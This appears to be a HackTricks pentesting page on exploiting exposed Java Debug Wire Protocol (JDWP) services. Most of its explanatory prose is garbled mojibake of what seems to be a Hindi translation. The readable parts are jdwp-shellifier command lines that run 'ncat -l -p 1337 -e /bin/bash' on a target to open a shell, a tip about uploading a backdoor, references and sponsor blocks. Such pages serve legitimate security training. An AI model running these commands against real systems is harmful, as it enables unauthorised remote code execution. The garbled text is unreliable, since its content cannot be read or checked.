11 KiB
Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
рдЕрдкрдиреЗ рд╡реЗрдм рдРрдкреНрд╕, рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рдХреНрд▓рд╛рдЙрдб рдкрд░ рдПрдХ рд╣реИрдХрд░ рдХрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
рдорд╣рддреНрд╡рдкреВрд░реНрдг, рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХрд░реЗрдВ рдЬрд┐рдирдХрд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдкреНрд░рднрд╛рд╡ рд╣реИред рд╣рдорд╛рд░реЗ 20+ рдХрд╕реНрдЯрдо рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХрд╛ рдорд╛рдирдЪрд┐рддреНрд░рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдФрд░ рдЖрд╡рд╢реНрдпрдХ рд╕рдмреВрдд рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╢реЛрд╖рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХрд╛ рдХрдард┐рди рдХрд╛рдо рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рд░рд┐рдкреЛрд░реНрдЯреЛрдВ рдореЗрдВ рдмрджрд▓ рдЬрд╛рдПред
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Exploiting
JDWP рд╢реЛрд╖рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреА рдХрдореА рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдкреЛрд░реНрдЯ 8000 рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреНрдп рдкреЛрд░реНрдЯ рднреА рд╕рдВрднрд╡ рд╣реИрдВред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХрдиреЗрдХреНрд╢рди "JDWP-Handshake" рдХреЛ рд▓рдХреНрд╖рд┐рдд рдкреЛрд░реНрдЯ рдкрд░ рднреЗрдЬрдХрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ JDWP рд╕реЗрд╡рд╛ рд╕рдХреНрд░рд┐рдп рд╣реИ, рддреЛ рдпрд╣ рдЙрд╕реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддреА рд╣реИ, рдЗрд╕рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддреА рд╣реИред рдпрд╣ рд╣реИрдВрдбрд╢реЗрдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ JDWP рд╕реЗрд╡рд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред
рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд╣рдЪрд╛рди рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, Java рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ "jdwk" рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреА рдЦреЛрдЬ рдХрд░рдирд╛ рдПрдХ рд╕рдХреНрд░рд┐рдп JDWP рд╕рддреНрд░ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЯреВрд▓ jdwp-shellifier рд╣реИред рдЖрдк рдЗрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
I found that the use of --break-on 'java.lang.String.indexOf'
make the exploit more stable. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
More details
рдпрд╣ https://ioactive.com/hacking-java-debug-wire-protocol-or-how/ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИред рдЖрдЧреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рджреЗрдЦреЗрдВред
- JDWP Overview:
- рдпрд╣ рдПрдХ рдкреИрдХреЗрдЯ-рдЖрдзрд╛рд░рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдмрд╛рдЗрдирд░реА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ, рдЬреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕рдордХрд╛рд▓рд┐рдХ рд╣реИред
- рдЗрд╕рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреА рдХрдореА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╢рддреНрд░реБрддрд╛рдкреВрд░реНрдг рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рдордиреЗ рдХрдордЬреЛрд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
- JDWP Handshake:
- рд╕рдВрдЪрд╛рд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╣реИрдВрдбрд╢реЗрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ 14-рдЪрд░ ASCII рд╕реНрдЯреНрд░рд┐рдВрдЧ тАЬJDWP-HandshakeтАЭ рдбрд┐рдмрдЧрд░ (рдХреНрд▓рд╛рдЗрдВрдЯ) рдФрд░ рдбрд┐рдмрдЧреА (рд╕рд░реНрд╡рд░) рдХреЗ рдмреАрдЪ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
- JDWP Communication:
- рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдПрдХ рд╕рд░рд▓ рд╕рдВрд░рдЪрдирд╛ рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ Length, Id, Flag, рдФрд░ CommandSet рдЬреИрд╕реЗ рдлрд╝реАрд▓реНрдб рд╣реЛрддреЗ рд╣реИрдВред
- CommandSet рдорд╛рди 0x40 рд╕реЗ 0x80 рдХреЗ рдмреАрдЪ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред
- Exploitation:
- JDWP рдордирдорд╛рдиреЗ рд╡рд░реНрдЧреЛрдВ рдФрд░ рдмрд╛рдЗрдЯрдХреЛрдб рдХреЛ рд▓реЛрдб рдФрд░ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИред
- рд▓реЗрдЦ рдореЗрдВ рдкрд╛рдВрдЪ рдЪрд░рдгреЛрдВ рдореЗрдВ рдПрдХ рд╢реЛрд╖рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╡рд┐рд╡рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Java Runtime рд╕рдВрджрд░реНрднреЛрдВ рдХреЛ рд▓рд╛рдирд╛, рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд╕реЗрдЯ рдХрд░рдирд╛, рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред
- Real-Life Exploitation:
- рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд╡рдЬреВрдж, JDWP рд╕реЗрд╡рд╛рдПрдБ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХреЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЦреЛрдЬреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рд╢реЛрд╖рд┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬреИрд╕рд╛ рдХрд┐ ShodanHQ рдФрд░ GitHub рдЬреИрд╕реЗ рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдкрд░ рдЦреЛрдЬреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
- рд╢реЛрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡рд┐рднрд┐рдиреНрди JDK рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдпрд╣ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо-рд╕реНрд╡рддрдВрддреНрд░ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп Remote Code Execution (RCE) рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
- Security Implications:
- рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреБрд▓реЗ JDWP рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдирд┐рдпрдорд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореАрдХреНрд╖рд╛рдУрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддреА рд╣реИ, рдЙрддреНрдкрд╛рджрди рдореЗрдВ рдбрд┐рдмрдЧ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛, рдФрд░ рдЙрдЪрд┐рдд рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рдиред
References:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
Get a hacker's perspective on your web apps, network, and cloud
Find and report critical, exploitable vulnerabilities with real business impact. Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.